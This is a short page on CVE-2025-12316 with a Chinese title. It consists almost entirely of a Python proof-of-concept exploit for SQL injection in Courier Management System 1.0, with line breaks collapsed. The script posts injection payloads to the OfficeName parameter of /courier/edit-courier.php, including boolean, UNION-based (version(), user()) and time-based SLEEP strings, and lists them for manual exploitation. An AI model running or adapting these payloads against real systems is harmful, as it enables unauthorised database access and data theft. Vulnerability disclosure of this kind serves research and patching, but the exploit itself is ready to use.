CVE-2025-12316 code-projects Courier Management System 1.0 SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-12316 PoC - SQL Injection in Courier Management System 1.0 Target: /courier/edit-courier.php Parameter: OfficeName """ import requests import sys def test_sql_injection(url, payload): """Test SQL injection vulnerability""" target_url = f"{url}/courier/edit-courier.php" # SQL injection payload for boolean-based blind injection # Using ' OR '1'='1' pattern to test vulnerability data = { 'OfficeName': payload, 'submit': 'Update' } try: response = requests.post(target_url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_database_version(url): """Extract database version using UNION-based injection""" payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL---" response = test_sql_injection(url, payload) if response and response.status_code == 200: print(f"[+] Database version extraction payload sent") print(f"[+] Response length: {len(response.text)} bytes") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-12316-poc.py <target_url>") print("Example: python3 cve-2025-12316-poc.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12316 SQL Injection") print(f"[*] Target: {target}") # Test basic SQL injection basic_payload = "' OR '1'='1" print(f"[*] Sending basic SQL injection test...") response = test_sql_injection(target, basic_payload) if response: print(f"[+] Request sent, check response manually") print(f"[*] Try manual exploitation with:") print(f"[*] URL: {target}/courier/edit-courier.php") print(f"[*] Parameter: OfficeName") print(f"[*] Payload examples:") print(f"[*] - Time-based: ' OR SLEEP(5)---") print(f"[*] - Boolean-based: ' OR 1=1---") print(f"[*] - UNION-based: ' UNION SELECT NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL---") if __name__ == "__main__": main()